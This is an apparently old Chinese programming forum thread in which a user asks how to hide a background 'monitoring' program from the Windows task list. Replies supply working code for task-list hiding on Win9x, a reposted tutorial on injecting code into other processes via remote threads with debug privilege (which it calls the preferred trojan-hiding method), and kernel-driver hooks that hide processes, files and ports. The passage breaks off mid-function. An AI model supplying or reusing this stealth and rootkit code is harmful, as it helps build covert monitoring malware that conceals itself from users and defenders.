程序隐藏(找遍论坛都没有找到,用GOOGLE都找不到)(100分)

  • 主题发起人 主题发起人 高山鹰
  • 开始时间 开始时间

高山鹰

Unregistered / Unconfirmed
GUEST, unregistred user!
我想编一个后台监视程序,在WIN98中的任务列表不出现,用REGISTERSERVICEPROCESS函数可以<br>但是在WIN2000中出错,找不到该函数,有人能告诉我怎么处理,我的最低要求是在WIN98<br>下看不到在WIN2000中不出错就行。我找遍各大论坛都没有找到。<br>谁能给段程序就可以了[:(]
 
RegisterServiceProcess(GetCurrentProcessID,1);//从任务列表中隐藏<br>我也有此问题,帮你up
 
有趣,听听,提提。<br><br>你想做马木呀?
 
先声明下面的函数:<br>function RegisterServiceProcess (ProcessID,RType:DWord):DWord; stdcall;external 'KERNEL32.DLL';<br>在Form的OnCreate加入:<br>procedure TForm1.FormCreate(Sender: TObject);<br>begin<br>RegisterServiceProcess(GetCurrentProcessID,1);<br>end;<br>在Form的OnDestroy加入:<br>procedure TForm1.FormDestroy(Sender: TObject);<br>begin<br>RegisterServiceProcess(GetCurrentProcessID,0);<br>end;<br>此法只能用在Win9x里,NT、2000、XP另有它法,但不是很好办。
 
VC的程序,不知道你有没有兴趣???<br>我还没有试过,试验成功了告诉我一声,谢谢!<br>&nbsp; &nbsp;<br>&nbsp; &nbsp;<br>WinNT &amp; Win2K下实现进程的完全隐藏 <br>原创:antghazi9511(antghazi) <br>&nbsp;<br>WinNT &amp; Win2K下实现进程的完全隐藏 <br><br>作者:AntGhazi 主页:antghazi.yeah.net &nbsp; <br><br>面对众多的计算机高手,考虑许久,终于还是决定出来献丑一下,文章内尽量使用最简洁易懂的词汇及例子来介绍,希望能够对一些初学与进阶者有所帮助。 <br>&nbsp; &nbsp; 关于进程的隐藏,98下的例子数不胜数。WinNT/Win2K下的隐藏方法,西祠的高手shotgun在去年的6月就已经在网上发布出实例《揭开木马的神秘面纱&lt;四&gt;》 ,我也多次拜读他的文章,对他的计算机水平及热心帮助朋友的作风十分敬佩。这里也可算是对shotgun的文章的补充与深入介绍吧,好了,闲话少说。 <br>在WinNT下"真正隐藏进程"这一说法,可以讲是根本不可能实现,只要我们的程序是以进程内核的形式运行,都是不可能逃离CTRL+ALT+DEL的法眼。那么奇怪了,这岂不是与我们的标题《WinNT &amp; Win2K下实现进程的完全隐藏》相矛盾吗?是的,实际上应该是:以非进程方式执行目标代码,而逃避进程查看器的检查,从而达到"进程隐藏"的目的。 <br>我们这里用的,是在宿主进程中,以线程的方式执行我们的代码。实现起来非常简单。首先,我们先建立一个不执行任何语句的线程 <br>DWORD stdcall ThreadProc(LPVOID *lpVoid){ <br>&nbsp; &nbsp; return 0; <br>} <br>然后,将线程代码拷备至宿主进程所能够执行的任何地方(即页面属性为PAGGE_EXECUTE_READWRITE),如:共享内存影射区、宿主进程内。这里我们选择宿主进程,拷备的时侯,我们需要先在宿主进程中使用VirtualAllocEx函数申请一段内存,然后再使用WriteProcessMemory将线程体写入宿主进程中。 <br>以上工作完成后,我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子 <br>//远程线程执行体 <br>DWORD __stdcall ThreadProc (void *lpPara){ <br>&nbsp; return 0; <br>} <br>int main(int argc, char* argv[]){ <br>&nbsp; const DWORD THREADSIZE=1024*4;//暂定线程体大小为4K,实际上没这么大,稍后我将会介绍 <br>&nbsp; DWORD byte_write; <br>&nbsp; //获得指定进程ID句柄,并设其权限为PROCESS_ALL_ACCESS,992是宿进程的ID号,获取ID号的方法这里我就不多讲了 <br>&nbsp; HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992); <br>&nbsp; if(!hWnd)return 0; <br>&nbsp; void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| MEM_RESERVE,PAGE_EXECUTE_READWRITE);//申请 <br>&nbsp; if(!pRemoteThread)return 0; <br>&nbsp; if(!::WriteProcessMemory(hWnd,pRemoteThread,&amp;ThreadProc,THREADSIZE,0))//写入进程 <br>&nbsp; &nbsp; &nbsp;return 0; <br>&nbsp; //启动线程 <br>&nbsp; HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,NULL,0,&amp;byte_write); <br>&nbsp; if(!hThread){ //还有内存分配未释放 <br>&nbsp; &nbsp; return 0; <br>&nbsp; } <br>&nbsp; return 0; <br>} <br>到这里,对于隐藏的方法就算告一段落,相信看过的朋友对这个思路有个非常明确的概念了吧。 <br><br>在理解隐藏的方法后,我们着重开始写线程的执行部分了。如下: <br>DWORD __stdcall ThreadProc(void *lpPara){ <br>&nbsp; MessageBox(NULL,"hello","hello",0); <br>&nbsp; return 0; <br>} <br>编译执行后,你会发现出现一个非法操作错误,为什么呢?在我们以段页式内存管理的win2K操作系统中,编译时会把所有的常量编译在PE文件的.data节中,而代码段则在.text中,所以,我们拷备到宿主进程中的代码是在.text中的代码,MessageBox(NULL,(char *)指针,p,0);所指向的地址是本进程的内存虚拟地址。而在宿主进程中是无法访问的。解决的方法很简单,按旧照搬的将"hello"也拷备到目标进程中,然后再引用。同理,MessageBox函数地址编译时,也是保存在.Import中,写过Win2k病毒的朋友都知道,所有常量与函数入口地址都需在代码段定义与得出,我们这里也与他有点类似。言归正传,同样情况我们也把函数的入口地址一起写入目标进程中。//先定义参数结构 <br>typedef struct _RemotePara{//参数结构 <br>&nbsp; char pMessageBox[12]; <br>&nbsp; DWORD dwMessageBox; <br>}RemotePara; <br>//付值 <br>RemotePara myRemotePara; <br>::ZeroMemory(&amp;myRemotePara,sizeof(RemotePara)); <br>HINSTANCE hUser32 = ::LoadLibrary ("user32.dll"); <br>myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , "MessageBoxA"); <br>strcat(myRemotePara.pMessageBox,"hello/0"); <br>//写进目标进程 <br>RemotePara *pRemotePara =(RemotePara *) ::VirtualAllocEx (hWnd ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);//注意申请空间时的页面保护属性 <br>if(!pRemotePara)return 0; <br>if(!::WriteProcessMemory (hWnd ,pRemotePara,&amp;myRemotePara,sizeof myRemotePara,0))return 0; <br>//启动进将参数传递进入 <br>HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&amp;byte_write); <br>if(!hThread){ <br>&nbsp; &nbsp;return 0; <br>}好了,就这么简单,下在给出一个弹出一个MessageBox的实例:// RemoteThread.cpp : Defines the entry point for the console application. <br>// <br><br>#include "stdafx.h" <br><br>typedef struct _RemotePara{//参数结构 <br>&nbsp; &nbsp;char pMessageBox[12]; <br>&nbsp; &nbsp;DWORD dwMessageBox; <br>}RemotePara; <br>//远程线程 <br>DWORD __stdcall ThreadProc (RemotePara *lpPara){ <br>&nbsp; &nbsp;typedef int (__stdcall *MMessageBoxA)(HWND,LPCTSTR,LPCTSTR,DWORD);//定义MessageBox函数 <br>&nbsp; &nbsp;MMessageBoxA myMessageBoxA; <br>&nbsp; &nbsp;myMessageBoxA =(MMessageBoxA) lpPara-&gt;dwMessageBox ;//得到函数入口地址 <br>&nbsp; &nbsp;myMessageBoxA(NULL,lpPara-&gt;pMessageBox ,lpPara-&gt;pMessageBox,0);//call <br>&nbsp; &nbsp;return 0; <br>} <br>void EnableDebugPriv();//提升应用级调试权限 <br><br>int main(int argc, char* argv[]){ <br>&nbsp; &nbsp;const DWORD THREADSIZE=1024*4; <br>&nbsp; &nbsp;DWORD byte_write; <br>&nbsp; &nbsp;EnableDebugPriv();//提升权限 <br>&nbsp; &nbsp;HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992); <br>&nbsp; &nbsp;if(!hWnd)return 0; <br>&nbsp; &nbsp;void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| MEM_RESERVE,PAGE_EXECUTE_READWRITE); <br>&nbsp; &nbsp;if(!pRemoteThread)return 0; <br>&nbsp; &nbsp;if(!::WriteProcessMemory(hWnd,pRemoteThread,&amp;ThreadProc,THREADSIZE,0)) <br>&nbsp; &nbsp;return 0; <br><br>&nbsp; &nbsp;//再付值 <br>&nbsp; &nbsp;RemotePara myRemotePara; <br>&nbsp; &nbsp;::ZeroMemory(&amp;myRemotePara,sizeof(RemotePara)); <br>&nbsp; &nbsp;HINSTANCE hUser32 = ::LoadLibrary ("user32.dll"); <br>&nbsp; &nbsp;myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , "MessageBoxA"); <br>&nbsp; &nbsp;strcat(myRemotePara.pMessageBox,"hello/0"); <br>&nbsp; &nbsp;//写进目标进程 <br>&nbsp; &nbsp;RemotePara *pRemotePara =(RemotePara *) ::VirtualAllocEx (hWnd ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);//注意申请空间时的页面属性 <br>&nbsp; &nbsp;if(!pRemotePara)return 0; <br>&nbsp; &nbsp;if(!::WriteProcessMemory (hWnd ,pRemotePara,&amp;myRemotePara,sizeof myRemotePara,0))return 0; <br><br>&nbsp; &nbsp;//启动线程 <br>&nbsp; &nbsp;HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&amp;byte_write); <br>&nbsp; &nbsp;if(!hThread){ <br>&nbsp; &nbsp; &nbsp; return 0; <br>&nbsp; &nbsp;} <br>return 0; <br>} <br><br><br>//提升权限 <br>void EnableDebugPriv( void ) <br>{ <br>HANDLE hToken; <br>LUID sedebugnameValue; <br>TOKEN_PRIVILEGES tkp; <br><br>if ( ! OpenProcessToken( GetCurrentProcess(), <br>TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken ) ) <br>return; <br>if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &amp;sedebugnameValue ) ){ <br>CloseHandle( hToken ); <br>return; <br>} <br>tkp.PrivilegeCount = 1; <br>tkp.Privileges[0].Luid = sedebugnameValue; <br>tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <br>if ( ! AdjustTokenPrivileges( hToken, FALSE, &amp;tkp, sizeof tkp, NULL, NULL ) ) <br>CloseHandle( hToken ); <br>} <br><br>好了,程序编译执行后会在进程号为992的进程中创建一线程,弹出hello对话框。是不是非常简单呢! <br>这里有几个地方需要注意的: <br>1、远程线程在宿主进程中申请空间时,空间大小的确定了是我一直无法解决的问题。我曾使用两个贴近一起的线程,以线程间的距离大小,并加上参数大小,作为申请空间时,仍然会出现非法操作,如下: <br>static void StartThread (LPVOID *lpPara){ <br>&nbsp; &nbsp;return ; <br>} <br>static void EndThread(LPVOID *lpPara){ <br>&nbsp; return; <br>} <br>然后使用DWORD dwLenght = (DWORD)((char *)&amp;StartThread - (char *)&amp;EndThread);//得到StartThread线程代码长度, <br>dwLenght += sizeof(ThreadPara); <br>仍会出现非法操作让我很迷惑。在win2k中,线程的默认堆栈的页大小是4KB,这里我在为线程申请内存时,申请的大小暂时使用一个常数,始终为4KB的倍数,选取时尽量取大,在线程可成功运行后,再一点点改小。办法是笨了点,如这里的朋友有更好的方法,请不吝赐教。 <br>2、什么时侯,什么参数是需要从外部传递进来的呢?我这里并没有一个十分有力的答案,我的理解是:PE文件中除了.text节以外的所有节,均需使用外部参数传递到线程中使用,如:.rsrc、.data、rdata等其他的15个节。在我们实际编写的过程中,初学者并不知道我们的代码会编译在什么地方,这个时侯,我们可以在运行的时侯ALT + 8(VC中快捷键)反编译过来,一般有lea eax p、push offset p等取地址语句,这个时侯,我们大都需要以参数传递进来。所以,大家在编写的时侯,一定要注意参数,因为线程的执行是在别的进程中,一个普通权限的应用程序是无法跨越进程来调试其他进程的。包括VC,也无法调试我们的远程线程,熟悉汇编的朋友,可用softice调试,这需要一定的功底。 <br>3、权限,这一点很重要,shotgun在这方面也介绍得很清楚了,网上相关的文章也很多,我就不多说了。文中的EnableDebugPriv函数可使本进程在internet、winLogin、lsass等进程中创建线程。win2k的进程查看器无法将其杀除。 <br>4、进程ID获方法较多,如:EnumProcesses、CreateToolhelp32Snapshot/Process32First/Process32Next、NtQuerySystemInformation等函数均可,为减少代码,例子中的进程ID是直接在进程查看器中得到的。最后,我们再回到shotgun的文章中,这时侯我们因已经非常清楚他的方法中为何会多出一个DLL文件了。远程线程的线程体本身就是LoadLibrary函数,即,线程的入口地址就是LoadLibrary的入口地址,这是系统Kernel32.dll中的函数,任何进程都可调用。线程中使用LoadLibrary函数将我们的DLL加载到系统空间内,线程一执行,我们的DLL就开始工作了。线程执行结束后,别忘了使用VirtualFreeEx将其申请的内存区释放。 <br>两种方法一比较,很明显: <br>1、在使用DLL时,创建十分简单,也不需要太多的操作系统与内存操作知识,并可直接调试DLL文件。实现起来比较简单。 <br>2、直接拷备到进程中的方法稍为复杂一点,一不小心,很容易出现非法操作。当然,也去掉那了个让人讨厌DLL文件。程序执行后,很难找到他的来源地,是除了病毒以外的木马隐藏的首选方法。这里我大量参考了nongmin.cn(农民)程序的源码,他的程序对我的帮助非常大。虽然未有谋面,但对他的计算机水平与作为十分的敬佩,并尊从他的作风,以后我所写的所有非商业软件或小代码,均以源码形式出现。这里写得有点乱,希望对大家能够有所帮助,愿与所有爱好计算机,从事计算机工作的朋友们共勉。AntGhazi/2002.1.14书 <br>mailto:antghazi@163.net <br>http://antghazi.yeah.net &nbsp;<br>&nbsp;<br>&nbsp; <br>&nbsp;<br>
 
再试试:<br>顺便问一下,如果对VC的代码不感兴趣,我以后来DFW就只看不贴了。<br><br>&nbsp;隐藏任意进程,目录/文件,注册表,端口 <br><br>Author : sinister <br>Email : sinister@whitecell.org <br>HomePage: http://www.whitecell.org <br><br><br>查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation, <br>ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个 <br>SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下 <br>才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals.com 或 WebCrazy 所 <br>写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 /Device/Tcp 与 /Device/Udp。我们可以利 <br>用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到 <br>隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了 <br>充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。 <br>(注册表操作在 RegMon 中写的很详细,这里就不列出了) <br><br>Code:<br>--------------------------------------------------------------------------------<br>&nbsp;<br><br>typedef struct _FILETIME<br>{<br>&nbsp; &nbsp; DWORD dwLowDateTime;<br>&nbsp; &nbsp; DWORD dwHighDateTime; <br>} FILETIME;<br><br>typedef struct _DirEntry <br>{<br>&nbsp; &nbsp; DWORD dwLenToNext;<br>&nbsp; &nbsp; DWORD dwAttr;<br>&nbsp; &nbsp; FILETIME ftCreate, ftLastAccess, ftLastWrite;<br>&nbsp; &nbsp; DWORD dwUnknown[ 2 ];<br>&nbsp; &nbsp; DWORD dwFileSizeLow;<br>&nbsp; &nbsp; DWORD dwFileSizeHigh;<br>&nbsp; &nbsp; DWORD dwUnknown2[ 3 ];<br>&nbsp; &nbsp; WORD wNameLen;<br>&nbsp; &nbsp; WORD wUnknown;<br>&nbsp; &nbsp; DWORD dwUnknown3;<br>&nbsp; &nbsp; WORD wShortNameLen;<br>&nbsp; &nbsp; WCHAR swShortName[ 12 ];<br>&nbsp; &nbsp; WCHAR suName[ 1 ];<br>} DirEntry, *PDirEntry;<br><br>struct _SYSTEM_THREADS<br>{<br>&nbsp; &nbsp; LARGE_INTEGER &nbsp; &nbsp; &nbsp; &nbsp;KernelTime;<br>&nbsp; &nbsp; LARGE_INTEGER &nbsp; &nbsp; &nbsp; &nbsp;UserTime;<br>&nbsp; &nbsp; LARGE_INTEGER &nbsp; &nbsp; &nbsp; &nbsp;CreateTime;<br>&nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;WaitTime;<br>&nbsp; &nbsp; PVOID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;StartAddress;<br>&nbsp; &nbsp; CLIENT_ID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ClientIs;<br>&nbsp; &nbsp; KPRIORITY &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Priority;<br>&nbsp; &nbsp; KPRIORITY &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;BasePriority;<br>&nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ContextSwitchCount;<br>&nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ThreadState;<br>&nbsp; &nbsp; KWAIT_REASON &nbsp; &nbsp; &nbsp; &nbsp; WaitReason;<br>};<br><br>struct _SYSTEM_PROCESSES<br>{<br>&nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;NextEntryDelta;<br>&nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ThreadCount;<br>&nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Reserved[6];<br>&nbsp; &nbsp; LARGE_INTEGER &nbsp; &nbsp; &nbsp; &nbsp;CreateTime;<br>&nbsp; &nbsp; LARGE_INTEGER &nbsp; &nbsp; &nbsp; &nbsp;UserTime;<br>&nbsp; &nbsp; LARGE_INTEGER &nbsp; &nbsp; &nbsp; &nbsp;KernelTime;<br>&nbsp; &nbsp; UNICODE_STRING &nbsp; &nbsp; &nbsp; ProcessName;<br>&nbsp; &nbsp; KPRIORITY &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;BasePriority;<br>&nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ProcessId;<br>&nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;InheritedFromProcessId;<br>&nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;HandleCount;<br>&nbsp; &nbsp; ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Reserved2[2];<br>&nbsp; &nbsp; VM_COUNTERS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;VmCounters;<br>&nbsp; &nbsp; IO_COUNTERS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;IoCounters;<br>&nbsp; &nbsp; struct _SYSTEM_THREADS Threads[1];<br>};<br><br><br>// 隐藏目录/文件<br><br>NTSTATUS HookZwQueryDirectoryFile(<br>&nbsp; &nbsp; IN HANDLE hFile,<br>&nbsp; &nbsp; IN HANDLE hEvent OPTIONAL,<br>&nbsp; &nbsp; IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,<br>&nbsp; &nbsp; IN PVOID IoApcContext OPTIONAL,<br>&nbsp; &nbsp; OUT PIO_STATUS_BLOCK pIoStatusBlock,<br>&nbsp; &nbsp; OUT PVOID FileInformationBuffer,<br>&nbsp; &nbsp; IN ULONG FileInformationBufferLength,<br>&nbsp; &nbsp; IN FILE_INFORMATION_CLASS FileInfoClass,<br>&nbsp; &nbsp; IN BOOLEAN bReturnOnlyOneEntry,<br>&nbsp; &nbsp; IN PUNICODE_STRING PathMask OPTIONAL,<br>&nbsp; &nbsp; IN BOOLEAN bRestartQuery)<br>{<br>&nbsp; &nbsp; NTSTATUS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rc;<br>&nbsp; &nbsp; CHAR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aProcessName[80]; &nbsp; &nbsp;<br>&nbsp; &nbsp; ANSI_STRING &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ansiFileName,ansiDirName;<br>&nbsp; &nbsp; UNICODE_STRING &nbsp; &nbsp; &nbsp; uniFileName;<br>&nbsp; &nbsp; PP_DIR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ptr;<br><br>&nbsp; &nbsp; WCHAR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ParentDirectory[1024] = {0};<br>&nbsp; &nbsp; int &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;BytesReturned;<br>&nbsp; &nbsp; PVOID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Object;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; // 执行旧的ZwQueryDirectoryFile函数<br>&nbsp; &nbsp; rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hFile, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hEvent,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IoApcRoutine,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IoApcContext,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pIoStatusBlock,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FileInformationBuffer,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FileInformationBufferLength,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FileInfoClass,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bReturnOnlyOneEntry,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PathMask,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bRestartQuery);<br>&nbsp;<br>&nbsp; &nbsp; if(NT_SUCCESS(rc)) <br>&nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; PDirEntry p;<br>&nbsp; &nbsp; &nbsp; &nbsp; PDirEntry pLast;<br>&nbsp; &nbsp; &nbsp; &nbsp; BOOL bLastOne;<br>&nbsp; &nbsp; &nbsp; &nbsp; int found; &nbsp; &nbsp; &nbsp; &nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; p = (PDirEntry)FileInformationBuffer; &nbsp; &nbsp;// 将查找出来结果赋给结构<br>&nbsp; &nbsp; &nbsp; &nbsp; pLast = NULL;<br>&nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; do <br>&nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bLastOne = !( p-&gt;dwLenToNext );<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RtlInitUnicodeString(&amp;uniFileName,p-&gt;suName);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RtlUnicodeStringToAnsiString(&amp;ansiFileName,&amp;uniFileName,TRUE);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RtlUnicodeStringToAnsiString(&amp;ansiDirName,&amp;uniFileName,TRUE);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RtlUpperString(&amp;ansiFileName,&amp;ansiDirName);<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found=0;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 在链表中查找是否包含当前目录<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(ptr = list_head; ptr != NULL; ptr = ptr-&gt;next)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (ptr-&gt;flag != PTR_HIDEDIR) continue; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if( RtlCompareMemory( ansiFileName.Buffer, ptr-&gt;name,strlen(ptr-&gt;name) ) == strlen(ptr-&gt;name))<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found=1;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }//end for<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 如果链表中包含当前目录,隐藏<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(found)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(bLastOne) <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(p == (PDirEntry)FileInformationBuffer )<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;rc = 0x80000006; &nbsp; &nbsp;//隐藏<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pLast-&gt;dwLenToNext = 0;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int iLeft = (DWORD)FileInformationBufferLength - iPos - p-&gt;dwLenToNext;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p-&gt;dwLenToNext ), (DWORD)iLeft );<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pLast = p;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p = (PDirEntry)((char *)p + p-&gt;dwLenToNext );<br>&nbsp; &nbsp; &nbsp; &nbsp; }while( !bLastOne );<br>&nbsp; &nbsp; &nbsp; &nbsp; RtlFreeAnsiString(&amp;ansiDirName); &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; RtlFreeAnsiString(&amp;ansiFileName);<br>&nbsp; &nbsp; }<br>&nbsp; &nbsp; return(rc);<br>}<br><br><br>// 隐藏进程<br><br>NTSTATUS HookZwQuerySystemInformation(<br>&nbsp; &nbsp; IN ULONG SystemInformationClass,<br>&nbsp; &nbsp; IN PVOID SystemInformation,<br>&nbsp; &nbsp; IN ULONG SystemInformationLength,<br>&nbsp; &nbsp; OUT PULONG ReturnLength)<br>{<br>&nbsp; &nbsp; NTSTATUS rc;<br><br>&nbsp; &nbsp; ANSI_STRING process_name,process_uname,process_name1,process_name2;<br>&nbsp; &nbsp; BOOL &nbsp; &nbsp;g_hide_proc = TRUE;<br>&nbsp; &nbsp; CHAR &nbsp; &nbsp;aProcessName[80];<br>&nbsp; &nbsp; PP_DIR &nbsp;ptr; &nbsp; &nbsp; &nbsp; &nbsp; 